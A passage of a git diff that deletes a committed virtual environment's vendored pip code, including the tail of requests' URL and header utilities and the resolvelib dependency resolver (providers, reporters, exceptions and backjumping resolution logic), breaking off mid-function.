get_auth_from_url(url: str) -> tuple[str, str]: - """Given a url with authentication components, extract them into a tuple of - username,password. - - :rtype: (str,str) - """ - parsed = urlparse(url) - - try: - # except handles parsed.username/password being None - auth = (unquote(parsed.username), unquote(parsed.password)) # type: ignore[arg-type] - except (AttributeError, TypeError): - auth = ("", "") - - return auth - - -def check_header_validity(header: tuple[str | bytes, str | bytes]) -> None: - """Verifies that header parts don't contain leading whitespace - reserved characters, or return characters. - - :param header: tuple, in the format (name, value). - """ - name, value = header - _validate_header_part(header, name, 0) - _validate_header_part(header, value, 1) - - -def _validate_header_part( - header: tuple[str | bytes, str | bytes], - header_part: str | bytes, - header_validator_index: int, -) -> None: - if isinstance(header_part, str): - validator = _HEADER_VALIDATORS_STR[header_validator_index] - elif isinstance(header_part, bytes): # type: ignore[reportUnnecessaryIsInstance] - # runtime guard for non-str/bytes input - validator = _HEADER_VALIDATORS_BYTE[header_validator_index] - else: - raise InvalidHeader( - f"Header part ({header_part!r}) from {header} " - f"must be of type str or bytes, not {type(header_part)}" - ) - - if not validator.match(header_part): # type: ignore[arg-type] - header_kind = "name" if header_validator_index == 0 else "value" - raise InvalidHeader( - f"Invalid leading whitespace, reserved character(s), or return " - f"character(s) in header {header_kind}: {header_part!r}" - ) - - -def urldefragauth(url: str) -> str: - """ - Given a url remove the fragment and the authentication part. - - :rtype: str - """ - scheme, netloc, path, params, query, _fragment = urlparse(url) - - # see func:`prepend_scheme_if_needed` - if not netloc: - netloc, path = path, netloc - - netloc = netloc.rsplit("@", 1)[-1] - - return urlunparse((scheme, netloc, path, params, query, "")) - - -def rewind_body(prepared_request: PreparedRequest) -> None: - """Move file pointer back to its recorded starting position - so it can be read again on redirect. - """ - body_seek = getattr(prepared_request.body, "seek", None) - if body_seek is not None and isinstance( - prepared_request._body_position, # type: ignore[reportPrivateUsage] - integer_types, - ): - try: - body_seek(prepared_request._body_position) # type: ignore[reportPrivateUsage] - except OSError: - raise UnrewindableBodyError( - "An error occurred when rewinding request body for redirect." - ) - else: - raise UnrewindableBodyError("Unable to rewind request body for redirect.") diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/LICENSE b/venv/Lib/site-packages/pip/_vendor/resolvelib/LICENSE deleted file mode 100644 index b9077766e9b9bdcae49ea5c8fced750ed13ec8f7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/resolvelib/LICENSE +++ /dev/null @@ -1,13 +0,0 @@ -Copyright (c) 2018, Tzu-ping Chung - -Permission to use, copy, modify, and distribute this software for any -purpose with or without fee is hereby granted, provided that the above -copyright notice and this permission notice appear in all copies. - -THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES -WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR -ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF -OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/__init__.py b/venv/Lib/site-packages/pip/_vendor/resolvelib/__init__.py deleted file mode 100644 index 4c7f815a8890a9abcc12325fb6c22164fa1d4d1c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/resolvelib/__init__.py +++ /dev/null @@ -1,27 +0,0 @@ -__all__ = [ - "AbstractProvider", - "AbstractResolver", - "BaseReporter", - "InconsistentCandidate", - "RequirementsConflicted", - "ResolutionError", - "ResolutionImpossible", - "ResolutionTooDeep", - "Resolver", - "__version__", -] - -__version__ = "1.2.1" - - -from .providers import AbstractProvider -from .reporters import BaseReporter -from .resolvers import ( - AbstractResolver, - InconsistentCandidate, - RequirementsConflicted, - ResolutionError, - ResolutionImpossible, - ResolutionTooDeep, - Resolver, -) diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/providers.py b/venv/Lib/site-packages/pip/_vendor/resolvelib/providers.py deleted file mode 100644 index 524e3d83272b4a4df7850a4d8980cda4610894ee..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/resolvelib/providers.py +++ /dev/null @@ -1,196 +0,0 @@ -from __future__ import annotations - -from typing import ( - TYPE_CHECKING, - Generic, - Iterable, - Iterator, - Mapping, - Sequence, -) - -from .structs import CT, KT, RT, Matches, RequirementInformation - -if TYPE_CHECKING: - from typing import Any, Protocol - - class Preference(Protocol): - def __lt__(self, __other: Any) -> bool: ... - - -class AbstractProvider(Generic[RT, CT, KT]): - """Delegate class to provide the required interface for the resolver.""" - - def identify(self, requirement_or_candidate: RT | CT) -> KT: - """Given a requirement or candidate, return an identifier for it. - - This is used to identify, e.g. whether two requirements - should have their specifier parts merged or a candidate matches a - requirement via ``find_matches()``. - """ - raise NotImplementedError - - def get_preference( - self, - identifier: KT, - resolutions: Mapping[KT, CT], - candidates: Mapping[KT, Iterator[CT]], - information: Mapping[KT, Iterator[RequirementInformation[RT, CT]]], - backtrack_causes: Sequence[RequirementInformation[RT, CT]], - ) -> Preference: - """Produce a sort key for given requirement based on preference. - - As this is a sort key it will be called O(n) times per backtrack - step, where n is the number of `identifier`s, if you have a check - which is expensive in some sense. E.g. It needs to make O(n) checks - per call or takes significant wall clock time, consider using - `narrow_requirement_selection` to filter the `identifier`s, which - is applied before this sort key is called. - - The preference is defined as "I think this requirement should be - resolved first". The lower the return value is, the more preferred - this group of arguments is. - - :param identifier: An identifier as returned by ``identify()``. This - identifies the requirement being considered. - :param resolutions: Mapping of candidates currently pinned by the - resolver. Each key is an identifier, and the value is a candidate. - The candidate may conflict with requirements from ``information``. - :param candidates: Mapping of each dependency's possible candidates. - Each value is an iterator of candidates. - :param information: Mapping of requirement information of each package. - Each value is an iterator of *requirement information*. - :param backtrack_causes: Sequence of *requirement information* that are - the requirements that caused the resolver to most recently - backtrack. - - A *requirement information* instance is a named tuple with two members: - - * ``requirement`` specifies a requirement contributing to the current - list of candidates. - * ``parent`` specifies the candidate that provides (depended on) the - requirement, or ``None`` to indicate a root requirement. - - The preference could depend on various issues, including (not - necessarily in this order): - - * Is this package pinned in the current resolution result? - * How relaxed is the requirement? Stricter ones should probably be - worked on first? (I don't know, actually.) - * How many possibilities are there to satisfy this requirement? Those - with few left should likely be worked on first, I guess? - * Are there any known conflicts for this requirement? We should - probably work on those with the most known conflicts. - - A sortable value should be returned (this will be used as the ``key`` - parameter of the built-in sorting function). The smaller the value is, - the more preferred this requirement is (i.e. the sorting function - is called with ``reverse=False``). - """ - raise NotImplementedError - - def find_matches( - self, - identifier: KT, - requirements: Mapping[KT, Iterator[RT]], - incompatibilities: Mapping[KT, Iterator[CT]], - ) -> Matches[CT]: - """Find all possible candidates that satisfy the given constraints. - - :param identifier: An identifier as returned by ``identify()``. All - candidates returned by this method should produce the same - identifier. - :param requirements: A mapping of requirements that all returned - candidates must satisfy. Each key is an identifier, and the value - an iterator of requirements for that dependency. - :param incompatibilities: A mapping of known incompatibile candidates of - each dependency. Each key is an identifier, and the value an - iterator of incompatibilities known to the resolver. All - incompatibilities *must* be excluded from the return value. - - This should try to get candidates based on the requirements' types. - For VCS, local, and archive requirements, the one-and-only match is - returned, and for a "named" requirement, the index(es) should be - consulted to find concrete candidates for this requirement. - - The return value should produce candidates ordered by preference; the - most preferred candidate should come first. The return type may be one - of the following: - - * A callable that returns an iterator that yields candidates. - * An collection of candidates. - * An iterable of candidates. This will be consumed immediately into a - list of candidates. - """ - raise NotImplementedError - - def is_satisfied_by(self, requirement: RT, candidate: CT) -> bool: - """Whether the given requirement can be satisfied by a candidate. - - The candidate is guaranteed to have been generated from the - requirement. - - A boolean should be returned to indicate whether ``candidate`` is a - viable solution to the requirement. - """ - raise NotImplementedError - - def get_dependencies(self, candidate: CT) -> Iterable[RT]: - """Get dependencies of a candidate. - - This should return a collection of requirements that `candidate` - specifies as its dependencies. - """ - raise NotImplementedError - - def narrow_requirement_selection( - self, - identifiers: Iterable[KT], - resolutions: Mapping[KT, CT], - candidates: Mapping[KT, Iterator[CT]], - information: Mapping[KT, Iterator[RequirementInformation[RT, CT]]], - backtrack_causes: Sequence[RequirementInformation[RT, CT]], - ) -> Iterable[KT]: - """ - An optional method to narrow the selection of requirements being - considered during resolution. This method is called O(1) time per - backtrack step. - - :param identifiers: An iterable of `identifiers` as returned by - ``identify()``. These identify all requirements currently being - considered. - :param resolutions: A mapping of candidates currently pinned by the - resolver. Each key is an identifier, and the value is a candidate - that may conflict with requirements from ``information``. - :param candidates: A mapping of each dependency's possible candidates. - Each value is an iterator of candidates. - :param information: A mapping of requirement information for each package. - Each value is an iterator of *requirement information*. - :param backtrack_causes: A sequence of *requirement information* that are - the requirements causing the resolver to most recently - backtrack. - - A *requirement information* instance is a named tuple with two members: - - * ``requirement`` specifies a requirement contributing to the current - list of candidates. - * ``parent`` specifies the candidate that provides (is depended on for) - the requirement, or ``None`` to indicate a root requirement. - - Must return a non-empty subset of `identifiers`, with the default - implementation being to return `identifiers` unchanged. Those `identifiers` - will then be passed to the sort key `get_preference` to pick the most - prefered requirement to attempt to pin, unless `narrow_requirement_selection` - returns only 1 requirement, in which case that will be used without - calling the sort key `get_preference`. - - This method is designed to be used by the provider to optimize the - dependency resolution, e.g. if a check cost is O(m) and it can be done - against all identifiers at once then filtering the requirement selection - here will cost O(m) but making it part of the sort key in `get_preference` - will cost O(m*n), where n is the number of `identifiers`. - - Returns: - Iterable[KT]: A non-empty subset of `identifiers`. - """ - return identifiers diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/py.typed b/venv/Lib/site-packages/pip/_vendor/resolvelib/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/reporters.py b/venv/Lib/site-packages/pip/_vendor/resolvelib/reporters.py deleted file mode 100644 index 6c142204b7d2d120096a9f1851cedf7366a1c97c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/resolvelib/reporters.py +++ /dev/null @@ -1,55 +0,0 @@ -from __future__ import annotations - -from typing import TYPE_CHECKING, Collection, Generic - -from .structs import CT, KT, RT, RequirementInformation, State - -if TYPE_CHECKING: - from .resolvers import Criterion - - -class BaseReporter(Generic[RT, CT, KT]): - """Delegate class to provide progress reporting for the resolver.""" - - def starting(self) -> None: - """Called before the resolution actually starts.""" - - def starting_round(self, index: int) -> None: - """Called before each round of resolution starts. - - The index is zero-based. - """ - - def ending_round(self, index: int, state: State[RT, CT, KT]) -> None: - """Called before each round of resolution ends. - - This is NOT called if the resolution ends at this round. Use `ending` - if you want to report finalization. The index is zero-based. - """ - - def ending(self, state: State[RT, CT, KT]) -> None: - """Called before the resolution ends successfully.""" - - def adding_requirement(self, requirement: RT, parent: CT | None) -> None: - """Called when adding a new requirement into the resolve criteria. - - :param requirement: The additional requirement to be applied to filter - the available candidaites. - :param parent: The candidate that requires ``requirement`` as a - dependency, or None if ``requirement`` is one of the root - requirements passed in from ``Resolver.resolve()``. - """ - - def resolving_conflicts( - self, causes: Collection[RequirementInformation[RT, CT]] - ) -> None: - """Called when starting to attempt requirement conflict resolution. - - :param causes: The information on the collision that caused the backtracking. - """ - - def rejecting_candidate(self, criterion: Criterion[RT, CT], candidate: CT) -> None: - """Called when rejecting a candidate during backtracking.""" - - def pinning(self, candidate: CT) -> None: - """Called when adding a candidate to the potential solution.""" diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/__init__.py b/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/__init__.py deleted file mode 100644 index b24922152a3232fd2f95fd416ef8685280d6f55c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/__init__.py +++ /dev/null @@ -1,27 +0,0 @@ -from ..structs import RequirementInformation -from .abstract import AbstractResolver, Result -from .criterion import Criterion -from .exceptions import ( - InconsistentCandidate, - RequirementsConflicted, - ResolutionError, - ResolutionImpossible, - ResolutionTooDeep, - ResolverException, -) -from .resolution import Resolution, Resolver - -__all__ = [ - "AbstractResolver", - "Criterion", - "InconsistentCandidate", - "RequirementInformation", - "RequirementsConflicted", - "Resolution", - "ResolutionError", - "ResolutionImpossible", - "ResolutionTooDeep", - "Resolver", - "ResolverException", - "Result", -] diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/abstract.py b/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/abstract.py deleted file mode 100644 index db32b3b51110945292a418dce28901e26e267091..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/abstract.py +++ /dev/null @@ -1,47 +0,0 @@ -from __future__ import annotations - -import collections -from typing import TYPE_CHECKING, Any, Generic, Iterable, NamedTuple - -from ..structs import CT, KT, RT, DirectedGraph - -if TYPE_CHECKING: - from ..providers import AbstractProvider - from ..reporters import BaseReporter - from .criterion import Criterion - - class Result(NamedTuple, Generic[RT, CT, KT]): - mapping: dict[KT, CT] - graph: DirectedGraph[KT | None] - criteria: dict[KT, Criterion[RT, CT]] - -else: - Result = collections.namedtuple("Result", ["mapping", "graph", "criteria"]) - - -class AbstractResolver(Generic[RT, CT, KT]): - """The thing that performs the actual resolution work.""" - - base_exception = Exception - - def __init__( - self, - provider: AbstractProvider[RT, CT, KT], - reporter: BaseReporter[RT, CT, KT], - ) -> None: - self.provider = provider - self.reporter = reporter - - def resolve(self, requirements: Iterable[RT], **kwargs: Any) -> Result[RT, CT, KT]: - """Take a collection of constraints, spit out the resolution result. - - This returns a representation of the final resolution state, with one - guarenteed attribute ``mapping`` that contains resolved candidates as - values. The keys are their respective identifiers. - - :param requirements: A collection of constraints. - :param kwargs: Additional keyword arguments that subclasses may accept. - - :raises: ``self.base_exception`` or its subclass. - """ - raise NotImplementedError diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/criterion.py b/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/criterion.py deleted file mode 100644 index ee5019ccd032c415b5c2013fbebba73e3ea35672..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/criterion.py +++ /dev/null @@ -1,48 +0,0 @@ -from __future__ import annotations - -from typing import Collection, Generic, Iterable, Iterator - -from ..structs import CT, RT, RequirementInformation - - -class Criterion(Generic[RT, CT]): - """Representation of possible resolution results of a package. - - This holds three attributes: - - * `information` is a collection of `RequirementInformation` pairs. - Each pair is a requirement contributing to this criterion, and the - candidate that provides the requirement. - * `incompatibilities` is a collection of all known not-to-work candidates - to exclude from consideration. - * `candidates` is a collection containing all possible candidates deducted - from the union of contributing requirements and known incompatibilities. - It should never be empty, except when the criterion is an attribute of a - raised `RequirementsConflicted` (in which case it is always empty). - - .. note:: - This class is intended to be externally immutable. **Do not** mutate - any of its attribute containers. - """ - - def __init__( - self, - candidates: Iterable[CT], - information: Collection[RequirementInformation[RT, CT]], - incompatibilities: Collection[CT], - ) -> None: - self.candidates = candidates - self.information = information - self.incompatibilities = incompatibilities - - def __repr__(self) -> str: - requirements = ", ".join( - f"({req!r}, via={parent!r})" for req, parent in self.information - ) - return f"Criterion({requirements})" - - def iter_requirement(self) -> Iterator[RT]: - return (i.requirement for i in self.information) - - def iter_parent(self) -> Iterator[CT | None]: - return (i.parent for i in self.information) diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/exceptions.py b/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/exceptions.py deleted file mode 100644 index 35e275576f78dc786f6ffe89c4d877830e2fc814..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/exceptions.py +++ /dev/null @@ -1,57 +0,0 @@ -from __future__ import annotations - -from typing import TYPE_CHECKING, Collection, Generic - -from ..structs import CT, RT, RequirementInformation - -if TYPE_CHECKING: - from .criterion import Criterion - - -class ResolverException(Exception): - """A base class for all exceptions raised by this module. - - Exceptions derived by this class should all be handled in this module. Any - bubbling pass the resolver should be treated as a bug. - """ - - -class RequirementsConflicted(ResolverException, Generic[RT, CT]): - def __init__(self, criterion: Criterion[RT, CT]) -> None: - super().__init__(criterion) - self.criterion = criterion - - def __str__(self) -> str: - return "Requirements conflict: {}".format( - ", ".join(repr(r) for r in self.criterion.iter_requirement()), - ) - - -class InconsistentCandidate(ResolverException, Generic[RT, CT]): - def __init__(self, candidate: CT, criterion: Criterion[RT, CT]): - super().__init__(candidate, criterion) - self.candidate = candidate - self.criterion = criterion - - def __str__(self) -> str: - return "Provided candidate {!r} does not satisfy {}".format( - self.candidate, - ", ".join(repr(r) for r in self.criterion.iter_requirement()), - ) - - -class ResolutionError(ResolverException): - pass - - -class ResolutionImpossible(ResolutionError, Generic[RT, CT]): - def __init__(self, causes: Collection[RequirementInformation[RT, CT]]): - super().__init__(causes) - # causes is a list of RequirementInformation objects - self.causes = causes - - -class ResolutionTooDeep(ResolutionError): - def __init__(self, round_count: int) -> None: - super().__init__(round_count) - self.round_count = round_count diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/resolution.py b/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/resolution.py deleted file mode 100644 index 8c13d3b2746db0dfa45b7d0beafc1ceaa1fb497f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/resolvelib/resolvers/resolution.py +++ /dev/null @@ -1,627 +0,0 @@ -from __future__ import annotations - -import collections -import itertools -import operator -from typing import TYPE_CHECKING, Generic - -from ..structs import ( - CT, - KT, - RT, - DirectedGraph, - IterableView, - IteratorMapping, - RequirementInformation, - State, - build_iter_view, -) -from .abstract import AbstractResolver, Result -from .criterion import Criterion -from .exceptions import ( - InconsistentCandidate, - RequirementsConflicted, - ResolutionImpossible, - ResolutionTooDeep, - ResolverException, -) - -if TYPE_CHECKING: - from collections.abc import Collection, Iterable, Mapping - - from ..providers import AbstractProvider, Preference - from ..reporters import BaseReporter - -_OPTIMISTIC_BACKJUMPING_RATIO: float = 0.1 - - -def _build_result(state: State[RT, CT, KT]) -> Result[RT, CT, KT]: - mapping = state.mapping - all_keys: dict[int, KT | None] = {id(v): k for k, v in mapping.items()} - all_keys[id(None)] = None - - graph: DirectedGraph[KT | None] = DirectedGraph() - graph.add(None) # Sentinel as root dependencies' parent. - - connected: set[KT | None] = {None} - for key, criterion in state.criteria.items(): - if not _has_route_to_root(state.criteria, key, all_keys, connected): - continue - if key not in graph: - graph.add(key) - for p in criterion.iter_parent(): - try: - pkey = all_keys[id(p)] - except KeyError: - continue - if pkey not in graph: - graph.add(pkey) - graph.connect(pkey, key) - - return Result( - mapping={k: v for k, v in mapping.items() if k in connected}, - graph=graph, - criteria=state.criteria, - ) - - -class Resolution(Generic[RT, CT, KT]): - """Stateful resolution object. - - This is designed as a one-off object that holds information to kick start - the resolution process, and holds the results afterwards. - """ - - def __init__( - self, - provider: AbstractProvider[RT, CT, KT], - reporter: BaseReporter[RT, CT, KT], - ) -> None: - self._p = provider - self._r = reporter - self._states: list[State[RT, CT, KT]] = [] - - # Optimistic backjumping variables - self._optimistic_backjumping_ratio = _OPTIMISTIC_BACKJUMPING_RATIO - self._save_states: list[State[RT, CT, KT]] | None = None - self._optimistic_start_round: int | None = None - - @property - def state(self) -> State[RT, CT, KT]: - try: - return self._states[-1] - except IndexError as e: - raise AttributeError("state") from e - - def _push_new_state(self) -> None: - """Push a new state into history. - - This new state will be used to hold resolution results of the next - coming round. - """ - base = self._states[-1] - state = State( - mapping=base.mapping.copy(), - criteria=base.criteria.copy(), - backtrack_causes=base.backtrack_causes[:], - ) - self._states.append(state) - - def _add_to_criteria( - self, - criteria: dict[KT, Criterion[RT, CT]], - requirement: RT, - parent: CT | None, - ) -> None: - self._r.adding_requirement(requirement=requirement, parent=parent) - - identifier = self._p.identify(requirement_or_candidate=requirement) - criterion = criteria.get(identifier) - if criterion: - incompatibilities = list(criterion.incompatibilities) - else: - incompatibilities = [] - - matches = self._p.find_matches( - identifier=identifier, - requirements=IteratorMapping( - criteria, - operator.methodcaller("iter_requirement"), - {identifier: [requirement]}, - ), - incompatibilities=IteratorMapping( - criteria, - operator.attrgetter("incompatibilities"), - {identifier: incompatibilities}, - ), - ) - - if criterion: - information = list(criterion.information) - information.append(RequirementInformation(requirement, parent)) - else: - information = [RequirementInformation(requirement, parent)] - - criterion = Criterion( - candidates=build_iter_view(matches), - information=information, - incompatibilities=incompatibilities, - ) - if not criterion.candidates: - raise RequirementsConflicted(criterion) - criteria[identifier] = criterion - - def _remove_information_from_criteria( - self, criteria: dict[KT, Criterion[RT, CT]], parents: Collection[KT] - ) -> None: - """Remove information from parents of criteria. - - Concretely, removes all values from each criterion's ``information`` - field that have one of ``parents`` as provider of the requirement. - - :param criteria: The criteria to update. - :param parents: Identifiers for which to remove information from all criteria. - """ - if not parents: - return - for key, criterion in criteria.items(): - criteria[key] = Criterion( - criterion.candidates, - [ - information - for information in criterion.information - if ( - information.parent is None - or self._p.identify(information.parent) not in parents - ) - ], - criterion.incompatibilities, - ) - - def _get_preference(self, name: KT) -> Preference: - return self._p.get_preference( - identifier=name, - resolutions=self.state.mapping, - candidates=IteratorMapping( - self.state.criteria, - operator.attrgetter("candidates"), - ), - information=IteratorMapping( - self.state.criteria, - operator.attrgetter("information"), - ), - backtrack_causes=self.state.backtrack_causes, - ) - - def _is_current_pin_satisfying( - self, name: KT, criterion: Criterion[RT, CT] - ) -> bool: - try: - current_pin = self.state.mapping[name] - except KeyError: - return False - return all( - self._p.is_satisfied_by(requirement=r, candidate=current_pin) - for r in criterion.iter_requirement() - ) - - def _get_updated_criteria(self, candidate: CT) -> dict[KT, Criterion[RT, CT]]: - criteria = self.state.criteria.copy() - for requirement in self._p.get_dependencies(candidate=candidate): - self._add_to_criteria(criteria, requirement, parent=candidate) - return criteria - - def _attempt_to_pin_criterion(self, name: KT) -> list[Criterion[RT, CT]]: - criterion = self.state.criteria[name] - - causes: list[Criterion[RT, CT]] = [] - for candidate in criterion.candidates: - try: - criteria = self._get_updated_criteria(candidate) - except RequirementsConflicted as e: - self._r.rejecting_candidate(e.criterion, candidate) - causes.append(e.criterion) - continue - - # Check the newly-pinned candidate actually works. This should - # always pass under normal circumstances, but in the case of a - # faulty provider, we will raise an error to notify the implementer - # to fix find_matches() and/or is_satisfied_by(). - satisfied = all( - self._p.is_satisfied_by(requirement=r, candidate=candidate) - for r in criterion.iter_requirement() - ) - if not satisfied: - raise InconsistentCandidate(candidate, criterion) - - self._r.pinning(candidate=candidate) - self.state.criteria.update(criteria) - - # Put newly-pinned candidate at the end. This is essential because - # backtracking looks at this mapping to get the last pin. - self.state.mapping.pop(name, None) - self.state.mapping[name] = candidate - - return [] - - # All candidates tried, nothing works. This criterion is a dead - # end, signal for backtracking. - return causes - - def _patch_criteria( - self, incompatibilities_from_broken: list[tuple[KT, list[CT]]] - ) -> bool: - # Create a new state from the last known-to-work one, and apply - # the previously gathered incompatibility information. - for k, incompatibilities in incompatibilities_from_broken: - if not incompatibilities: - continue - try: - criterion = self.state.criteria[k] - except KeyError: - continue - matches = self._p.find_matches( - identifier=k, - requirements=IteratorMapping( - self.state.criteria, - operator.methodcaller("iter_requirement"), - ), - incompatibilities=IteratorMapping( - self.state.criteria, - operator.attrgetter("incompatibilities"), - {k: incompatibilities}, - ), - ) - candidates: IterableView[CT] = build_iter_view(matches) - if not candidates: - return False - incompatibilities.extend(criterion.incompatibilities) - self.state.criteria[k] = Criterion( - candidates=candidates, - information=list(criterion.information), - incompatibilities=incompatibilities, - ) - return True - - def _save_state(self) -> None: - """Save states for potential rollback if optimistic backjumping fails.""" - if self._save_states is None: - self._save_states = [ - State( - mapping=s.mapping.copy(), - criteria=s.criteria.copy(), - backtrack_causes=s.backtrack_causes[:], - ) - for s in self._states - ] - - def _rollback_states(self) -> None: - """Rollback states and disable optimistic backjumping.""" - self._optimistic_backjumping_ratio = 0.0 - if self._save_states: - self._states = self._save_states - self._save_states = None - - def _backjump(self, causes: list[RequirementInformation[RT, CT]]) -> bool: - """Perform backjumping. - - When we enter here, the stack is like this:: - - [ state Z ] - [ state Y ] - [ state X ] - .... earlier states are irrelevant. - - 1. No pins worked for Z, so it does not have a pin. - 2. We want to reset state Y to unpinned, and pin another candidate. - 3. State X holds what state Y was before the pin, but does not - have the incompatibility information gathered in state Y. - - Each iteration of the loop will: - - 1. Identify Z. The incompatibility is not always caused by the latest - state. For example, given three requirements A, B and C, with - dependencies A1, B1 and C1, where A1 and B1 are incompatible: the - last state might be related to C, so we want to discard the - previous state. - 2. Discard Z. - 3. Discard Y but remember its incompatibility information gathered - previously, and the failure we're dealing with right now. - 4. Push a new state Y' based on X, and apply the incompatibility - information from Y to Y'. - 5a. If this causes Y' to conflict, we need to backtrack again. Make Y' - the new Z and go back to step 2. - 5b. If the incompatibilities apply cleanly, end backtracking. - """ - incompatible_reqs: Iterable[CT | RT] = itertools.chain( - (c.parent for c in causes if c.parent is not None), - (c.requirement for c in causes), - ) - incompatible_deps = {self._p.identify(r) for r in incompatible_reqs} - while len(self._states) >= 3: - # Remove the state that triggered backtracking. - del self._states[-1] - - # Optimistically backtrack to a state that caused the incompatibility - broken_state = self.state - while True: - # Retrieve the last candidate pin and known incompatibilities. - try: - broken_state = self._states.pop() - name, candidate = broken_state.mapping.popitem() - except (IndexError, KeyError): - raise ResolutionImpossible(causes) from None - - if ( - not self._optimistic_backjumping_ratio - and name not in incompatible_deps - ): - # For safe backjumping only backjump if the current dependency - # is not the same as the incompatible dependency - break - - # On the first time a non-safe backjump is done the state - # is saved so we can restore it later if the resolution fails - if ( - self._optimistic_backjumping_ratio - and self._save_states is None - and name not in incompatible_deps - ): - self._save_state() - - # If the current dependencies and the incompatible dependencies - # are overlapping then we have likely found a cause of the - # incompatibility - current_dependencies = { - self._p.identify(d) for d in self._p.get_dependencies(candidate) - } - if not current_dependencies.isdisjoint(incompatible_deps): - break - - # Fallback: We should not backtrack to the point where - # broken_state.mapping is empty, so stop backtracking for - # a chance for the resolution to recover - if not broken_state.mapping: - break - - # Guard: We need at least two state to remain to both - # backtrack and push a new state - if len(self._states) <= 1: - raise ResolutionImpossible(causes) - - incompatibilities_from_broken = [ - (k, list(v.incompatibilities)) for k, v in broken_state.criteria.items() - ] - - # Also mark the newly known incompatibility. - incompatibilities_from_broken.append((name, [candidate])) - - self._push_new_state() - success = self._patch_criteria(incompatibilities_from_broken) - - # It works! Let's work on this new state. - if success: - return True - - # State does not work after applying known incompatibilities. - # Try the still previous state. - - # No way to backtrack anymore. - return False - - def _extract_causes( - self, criteron: list[Criterion[RT, CT]] - ) -> list[RequirementInformation[RT, CT]]: - """Extract causes from list of criterion and deduplicate""" - return list({id(i): i for c in criteron for i in c.information}.values()) - - def resolve(self, requirements: Iterable[RT], max_rounds: int) -> State[RT, CT, KT]: - if self._states: - raise RuntimeError("already resolved") - - self._r.starting() - - # Initialize the root state. - self._states = [ - State( - mapping=collections.OrderedDict(), - criteria={}, - backtrack_causes=[], - ) - ] - for r in requirements: - try: - self._add_to_criteria(self.state.criteria, r, parent=None) - except RequirementsConflicted as e: - raise ResolutionImpossible(e.criterion.information) from e - - # The root state is saved as a sentinel so the first ever pin can have - # something to backtrack to if it fails. The root state is basically - # pinning the virtual "root" package in the graph. - self._push_new_state() - - # Variables for optimistic backjumping - optimistic_rounds_cutoff: int | None = None - optimistic_backjumping_start_round: int | None = None - - for round_index in range(max_rounds): - self._r.starting_round(index=round_index) - - # Handle if optimistic backjumping has been running for too long - if self._optimistic_backjumping_ratio and self._save_states is not None: - if optimistic_backjumping_start_round is None: - optimistic_backjumping_start_round = round_index - optimistic_rounds_cutoff = int( - (max_rounds - round_index) * self._optimistic_backjumping_ratio - ) - - if optimistic_rounds_cutoff <= 0: - self._rollback_states() - continue - elif optimistic_rounds_cutoff is not None: - if ( - round_index - optimistic_backjumping_start_round - >= optimistic_rounds_cutoff - ): - self._rollback_states() - continue - - unsatisfied_names = [ - key - for key, criterion in self.state.criteria.items() - if not self._is_current_pin_satisfying(key, criterion) - ] - - # All criteria are accounted for. Nothing more to pin, we are done! - if not unsatisfied_names: - self._r.ending(state=self.state) - return self.state - - # keep track of satisfied names to calculate diff after pinning - satisfied_names = set(self.state.criteria.keys()) - set(unsatisfied_names) - - if len(unsatisfied_names) > 1: - narrowed_unstatisfied_names = list( - self._p.narrow_requirement_selection( - identifiers=unsatisfied_names, - resolutions=self.state.mapping, - candidates=IteratorMapping( - self.state.criteria, - operator.attrgetter("candidates"), - ), - information=IteratorMapping( - self.state.criteria, - operator.attrgetter("information"), - ), - backtrack_causes=self.state.backtrack_causes, - ) - ) - else: - narrowed_unstatisfied_names = unsatisfied_names - - # If there are no unsatisfied names use unsatisfied names - if not narrowed_unstatisfied_names: - raise RuntimeError("narrow_requirement_selection returned 0 names") - - # If there is only 1 unsatisfied name skip calling self._get_preference - if len(narrowed_unstatisfied_names) > 1: - # Choose the most preferred unpinned criterion to try. - name = min(narrowed_unstatisfied_names, key=self._get_preference) - else: - name = narrowed_unstatisfied_names[0] - - failure_criterion = self._attempt_to_pin_criterion(name) - - if failure_criterion: - causes = self._extract_causes(failure_criterion) - # Backjump if pinning fails. The backjump process puts us in - # an unpinned state, so we can work on it in the next round. - self._r.resolving_conflicts(causes=causes) - - try: - success = self._backjump(causes) - except ResolutionImpossible: - if 